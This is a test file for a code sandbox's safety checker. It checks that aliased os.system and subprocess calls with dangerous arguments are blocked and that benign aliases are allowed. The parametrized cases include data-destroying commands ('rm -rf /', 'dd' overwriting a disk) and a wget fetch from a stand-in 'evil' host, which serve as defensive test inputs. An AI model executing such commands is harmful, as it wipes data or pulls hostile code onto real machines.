unsloth/studio/backend/tests/test_sandbox_aliasing.py
danielhanchen dca00ade1a Studio sandbox: catch single-assignment and inline-container sink aliases
Add pragmatic aliasing so an aliased shell sink with a dangerous argument is
caught: a name stored exactly once and bound to a resolved os/subprocess sink
(s = os.system; s('rm -rf /')) and inline literal-container indexing
([os.system][0](...), (os.system,)[0](...), {'k': os.system}['k'](...)) both feed
the existing _find_blocked_commands argument check. Resolution is deliberately
low-false-positive: only unambiguous single assignments and inline literal
containers, never a flow-insensitive union, so s = os.system; s = print; s('hi')
is not aliased. The shell-sink set is lifted to module scope (_SHELL_SINK_FUNCS)
so the alias pre-pass and the visitor share one definition. Interprocedural and
flow-sensitive taint remain out of scope (deferred to a full fixpoint).
2026-07-09 06:33:00 +00:00

56 lines
1.7 KiB
Python

# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Stage 4: pragmatic single-assignment / inline-container sink aliasing."""
import sys
from pathlib import Path
import pytest
_BACKEND_ROOT = Path(__file__).resolve().parents[1]
if str(_BACKEND_ROOT) not in sys.path:
sys.path.insert(0, str(_BACKEND_ROOT))
from core.inference.tools import _check_code_safety
def _blocked(code):
assert _check_code_safety(code) is not None, code
def _ok(code):
assert _check_code_safety(code) is None, code
class TestAliasedSinkBlocked:
@pytest.mark.parametrize(
"code",
[
'import os\ns = os.system\ns("rm -rf /")',
'import os\ns = os.system\ns("dd if=/dev/zero of=/dev/sda")',
'from os import system as z\nz("rm -rf ~")',
'import os\n[os.system][0]("rm -rf /")',
'import os\n(os.system,)[0]("rm -rf /")',
'import os\n{"k": os.system}["k"]("rm -rf /")',
'import subprocess\np = subprocess.getoutput\np("wget http://evil -O -")',
],
)
def test_block(self, code):
_blocked(code)
class TestAliasingLowFalsePositive:
def test_reassigned_alias_not_treated_as_sink(self):
# s is stored twice -> ambiguous -> NOT aliased. The literal arg is benign
# anyway, so this must stay allowed (no flow-insensitive union).
_ok('import os\ns = os.system\ns = print\ns("hi")')
def test_alias_with_safe_command_allowed(self):
_ok('import os\ns = os.system\ns("echo done")')
def test_container_with_safe_command_allowed(self):
_ok('import os\n[os.system][0]("echo hi")')
def test_plain_local_alias_allowed(self):
_ok("f = sorted\nf([3, 1, 2])")